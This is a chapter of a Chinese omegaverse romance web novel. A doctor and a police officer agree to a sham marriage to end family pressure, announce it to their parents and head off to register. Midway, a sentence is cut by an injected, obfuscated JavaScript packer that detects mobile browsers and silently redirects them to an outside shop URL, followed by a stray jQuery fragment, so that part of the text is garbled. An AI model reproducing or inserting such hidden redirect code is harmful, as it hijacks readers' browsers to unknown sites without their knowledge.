门开了。
坐在沙发上的几个人听到动静,齐刷刷扭过头来,梁家父母见到儿子,连忙起身。
“怎么起来了,好点了吗?”梁教授快步走过去,小心挽着儿子的臂弯,一脸担忧。
梁方晴搭住母亲的手,朝她扬起一个带有安抚意味的微笑,再看向蔡家父母:“叔叔阿姨,我能和阿轩单独聊聊吗?”
蔡妈妈瞪了儿子一眼:“叫你呢,懂哥!”
小洋楼天台处有一个八角凉亭,蔡妈妈悉心设计过的缘故,既保留了旧时的派头,又匹配了现代人的闲适。
蔡望轩也懒得欣赏,径直走过去拉开底下的铸铁椅。
只是刚刚那一击让他心有余悸,小心翼翼坐下后才回头看梁方晴,说话气势自然就矮了一分:“你想聊什么?”
天台的三角梅长得很盛,枝桠旁逸处特地盘过,以一种好看的姿态往下弯曲,与地上的铁扇葵相映成趣。
梁方晴没有跟着他走去凉亭,而是静静站在三角梅底下。
蔡望轩看着他那调调,装什么花前月下肯定又要作妖,说不定正盘算着怎么将自己化学阉/割了,毕竟这庸医捅人都绝不手软。
想到这里,刚刚挨的那一下也让他心有余悸。
梁方晴侧身,并没有看他,还有闲情伸手拨弄了一下枝桠,不知道在想什么。
装模作样,该不会酝酿着憋个大的吧!
哼。
他看着梁方晴缓缓转过身来,手边还拈着花瓣。
梁方晴说:“我们结婚吧。”
哐——
蔡望轩猛地站起来,动作太大,连带推倒了身后的铸铁椅。
“不是,”他几乎呛了一下,“你有什么毛病啊,我和你结哪门子婚?”
梁方晴却慢条斯理地走过来,耐心解释道:“楼下的情况你也看到了,现在去澄清,只会越描越黑。
“我考虑过了,结个形婚,对我们俩都有好处——你需要一个像我这样的人替你挡住你妈的催婚,好让你安心工作;而我,也是差不多的理由,我们刚好各取所需。”
蔡望轩只觉得难以置信:“你开玩笑呢,结婚只是第一步,接下来就是催生你信不信?”
梁方晴勾起一抹笑,将他推跌的椅子扶起:“你忘了我的工作是做什么的吗,只要我说了生不出来,那就是生不出来。”
他看着蔡望轩的眼神越发戏谑。
“况且,你有旧疾。”
视线往下,移了一截。
蔡望轩气得不行,却又没法反驳,况且梁方晴的提议也确实有可取之处。
起码可以堵住自家母亲的嘴,这笔买卖还算值当。
不过再细想一下,目前为止都是这个庸医占上风,脸上被扫把打过的地方还隐隐作痛,他可不能答应得这么干脆。
“我不信你这么好说话,你在打什么鬼主意?”
梁方晴坦然:“我每个月发情期会伴有高热和疼痛的症状,目前一切状况看来,和你之间发生的事情也算是歪打正着。
“我怀疑你的信息素可以治得好我的病。所以结婚之后,我需要提取你的信息素,用作研究。”
当然,话并没有说全,但已经足够了。
蔡望轩悄悄勾了勾唇:“就这样?行啊。”
既然要用他做药引,那么以后配不配合,决定权就在他的身上了。
蔡望轩没说话,大步走过去。
两个人各怀心事,却又朝对方露出看似和解的微笑。
还是蔡望轩先伸了手,将梁方晴的手握住。
微凉,纤细,却又像是蓄着一股劲,一如他本人。
“合作愉快。”
下楼梯的时候,走到转角,蔡望轩特地停下来。
他仰头,梁方晴在后方落后了几步,夕阳的光透过墙上的窗花照进来,洒在他白皙的脸上,尽管穿着简约,那气质倒比自己更像这栋小洋楼的主人。
真奇怪。
梁方晴以为他在催自己,“怎么了?”
蔡望轩摇了摇头,只是站定了等他。
梁方晴这才偷偷将发抖的手藏到口袋里。
刚刚天台说的那些几乎已经用尽了他最大的勇气。他以为自己可以从容处理好这一切,没想到真到提议的时候,心如擂鼓。
为了不让蔡望轩发现自己的犹豫,也为了不让自己的害怕被感知——反正蔡望轩总是能闻出来的。他特地站在远处,才鼓足勇气说出那一番提议的。
做决定的瞬间很短,腹稿却打了一遍又一遍,终于商量完毕,走到阴凉处,他开始止不住地发抖。
——他看着阶下这个人,那么陌生,而他花了半天就将自己的婚姻定了下来,这让他生出一股对未来的惧怕。
蔡望轩见他不动,大步迈上来果断地牵住了他的手:“走吧,别让他们等得太久。”
梁方晴连忙将他的手打开,“别动手动脚的!”
楼梯间回音明显,两个人都察觉出不对劲,蔡望轩皱了皱眉,没说话。
梁方晴自知理亏,好一会才小声解释:“待会你听我的就是了。”
两家长辈连同三姨妈一家也还在。
小厅一组沙发以及窗边两把扶手椅都坐满了人,听到脚步声,齐刷刷地望过来,人人脸上带着期盼。
“各位,”梁方晴站定在沙发前,“我们决定结婚了。”
客厅当场静下来。
表弟手里的switch啪地掉到地上。
尽管对两个年轻人之间的事知之甚少,长辈们还是很快就接受了,反正结果是自己想要看到的就行。
三姨妈坐在离两个人最近的位置,作为媒人,不禁首先发问:“你们这……到底怎么回事呀?”
这倒是早在二人预料之内,不外乎说些假话蒙混过去。
蔡望轩正要开口,梁方晴已经心急抢在前头说:“他……阿轩他说对我一见钟情,刚刚……他对我表白了。”
蔡望轩右眼皮一跳。
行,直接跳坑里了。
他唯有配合地扬起笑脸,侧头一望,见对方正仰头看着自己,脸上挂着羞涩的笑。
——吗的,装得真像!
他把头扭回去,细细分析,不对,他起的这个头,不就是要给我安个舔狗人设吗?!
三姨妈当即回头看向另外两位妈妈,语气里都是调侃:“喔唷,也难怪,人家方晴长得这么漂亮——所以阿轩在黑天鹅那次就看上人家了。”
梁教授冷静些,听到三姨妈这话先是拘谨地笑了笑,才看向自家儿子:“那你呢,你自己是怎么想的?”
梁方晴脸上依旧腼腆,看在众家长眼里,是犹豫了好一会,才鼓足勇气开口。
他说:“那天伯父不是让我们去礼品店吗,没想到走到楼下瀑布的时候,我的发情期突然提前到了,是阿轩当机立断把我带到客房……”
话说得欲言又止,还偷偷瞄了一眼旁边高大的Alpha,两个人的手还紧紧牵着,这小动作一丝不漏落到众人眼里。
再加上宾馆客房部来电说遗落了手环,最后一块拼图也就对上了。
当然,也包括一些酱酱酿酿的联想。
梁教授见儿子也这样说了,事到如今,这婚怕是不结不成,更何况两家人本就有心。
“啊?所以你们真的标记了啊?”表弟的声音自后方扶手椅传来。
蔡望轩连忙否认:“没有没有,永久标记是大事,我不会乱来。”
梁教授钉在他身上的眼神才缓了缓。这小伙子长得高大帅气,遇事不急处理得当,细想之下站在自家儿子旁边还挺配的。
越看越觉得满意,眼神瞟到丈夫身上,两个人隔空点了点头。
蔡爸爸也忍不住看了看蔡妈妈,交换过眼神,又回到小情侣身上。
蔡爸爸咳了一声,才说:“既然都这样了,我们来把日期定下来吧。”
“还站在那里做什么,快来坐。”蔡妈妈连忙招手。
两个人走过去,分别坐在自家父母堆里,气氛忽然就变得温馨起来。
看在长辈眼里,像一对真正热恋的情侣,夹在家长中间,你看我,我看你,听到谈及婚礼细节的时候,又害羞地偷偷抿了嘴笑。
例如。
蔡爸爸:“你们今天逛街看的金器怎样?我最喜欢那套金猪牌,大气!”
蔡妈妈:“那是你没见到他们镇店的龙凤镯,一只足有一两重,怎么也得买几对。”
蔡望轩想到那画面,嘴角一抽,强忍着要嘲笑梁方晴的冲动,换上一副看起来关心实际上却非常三八的嘴脸:“啊,这……婚礼当天‘全部’都要戴的是吗,会不会累着方晴了?”
梁方晴:……
蔡妈妈摆摆手:“怎么会,到时候来的亲戚朋友多了,又要敬茶又要喊人,金器收到手软,还要挂到脖子上,那才叫气派!”
梁方晴:……
梁教授这时候也回味过来,连忙劝道:“怎么好意思呢,这太破费了。”
蔡妈妈便和颜悦色起来:“亲家放心,这是传统礼数,表示我们对方晴的喜爱,都是应该的。到时候干脆在黑天鹅办酒席,或者我们去其他几家五星级酒店看看场地,看看他喜欢哪里。我们头一次办喜事,一定要热热闹闹的。”
她把视线
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17825738|211251||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
投向梁方晴:“你们俩的同事都要请,尽快统计一下人数。”
蔡爸爸转向梁爸爸:“对了亲家,老家的亲戚也要请过来,机票住宿我包了——哎,是不是有很多教授啊校长啊之类的,那我们得操办得隆重一点,千万不能让你们失礼了。”
梁爸爸谦虚道:“没有没有,我们做学问的都很简朴,他们小两口幸福就好,不用太铺张的。”
“那怎么能行……”蔡爸爸接着说。
梁方晴听着长辈们谈话,那一头热的阵仗真叫他头大,再不制止,这闹剧演着演着就要变成真的了。
他冷静开口:“我们商量好了,一切从简,领证就行了。”
一瞬间,客厅里鸦雀无声。
我们?
蔡望轩猛地对上他的视线,悄悄指了指自己,他什么时候说过这话了?
趁还没有人反应过来,梁方晴继续说:“我的工作比较特殊,现在正是上升期,所以暂时还不想让医院知道我要结婚,请大家多多包涵。”
梁教授唇动了动,换做平时,她肯定直接就问,可当着这么多人的面,也不知道儿子最近工作上有什么难处,只得看着对方,期望能得到答案。
梁方晴坦然道:“今年我要准备评选副主任医师,如果突然结婚,单位评估的时候一定会考虑我随时需要放婚假甚至休产假,这样会影响到我的考核。”
“如果选上了,方晴就是一院最年轻的副主任医师了吧?”梁教授喃喃道。
“是。”他对上母亲的视线,目光肯定。
“这……”蔡妈妈迟疑了下。
蔡望轩琢磨出来现在自己的人设是盲目支持另一半的舔狗,他马上接话:“方晴的工作很重要,我完全尊重他的决定。”
蔡爸爸见气氛不对,连忙打圆场:“要不这样,先领证,过两年等方晴评上职称了再补办婚礼,怎么样?”
对四大长老来说,没什么比得上先让这两人领证更重要的,婚礼是锦上添花,但当务之急是得把关系坐实。
原本听着蔡家讨论那一轮排场已经在流汗的梁爸爸马上接话:“对对对,咱们做事嘛,得抓大放小。”
登记结婚不比办酒席,两个人拿了身份证去民政局,很快就能办下来,因此对于两家人就地拍板让他们下周就去领证这件事,蔡望轩和梁方晴丝毫不觉得意外。
到了星期五,梁方晴起了个大早。
原本计划要请一整天的假,无奈科室里人手实在紧缺,碰巧李主任出差一周,安排值班的主任死活都不肯放人。
总不能说自己下午去领结婚证吧!
因此到了下午两点,送走了第58个门诊病人,梁方晴终于关上了诊室的门。
脱下白大褂,他今天穿得和平日无异,背着书包与赶着排队看下午门诊的大军逆流而过时,甚至有点恍惚。
天气特别好,穿过医院大门那扇硕大的牌坊后,一缕阳光直射下来,梁方晴下意识伸手挡了挡,一辆黑色越野车正巧停在跟前,车窗降下,是蔡望轩。
蔡望轩朝他勾了勾下巴:“上车。”
后方维持院门口繁忙交通的协管员开始催促快走。
梁方晴赶紧拉开车门上了车。
车门一关,淡淡的香味就窜进鼻腔,梁方晴机警,仔细分辨,只是空气清新剂的味道,又偷偷瞄了瞄蔡望轩握住方向盘的手,手腕上牢牢扣着一枚银色手环,这才放下心来。
不对,我怕什么!
“刚下班吗?”路上车多,蔡望轩趁望右边后视镜的同时问道。
“嗯……你也是?”
“对。”
两个人确实不熟,这么一来一往之后,车里又陷入了安静。
梁方晴正想说点什么,一只大手伸过来按了中控台几下,音量刚刚好的流行乐就充盈了共处的空间,无形中淡化了尴尬。
可是再等蔡望轩开口,梁方晴马上将一闪而过的错觉收回。
等红灯时,蔡望轩扭头看他:“虽然我同意了医院那边不公开我们结婚的消息,但大队那边不好办,之前我受伤那事估计早捅到我爷爷那里去了,而且我是公职人员,个人状况要上报单位。”
梁方晴明知故问:“所以呢?”
“所以,”转灯了,蔡望轩踩下油门,又回复了直视前方的状态,“在我那边,你得以我对象的身份出现——啊对了,说不定大家会一起聚餐什么的,到时候记得发挥一下你的好演技啊,梁医生。”
梁方晴:……
蔡望轩见他吃瘪,也不急,甚至有闲心随着音乐哼起歌来。
车子平稳地驶向民政局,反正目的地不会有变。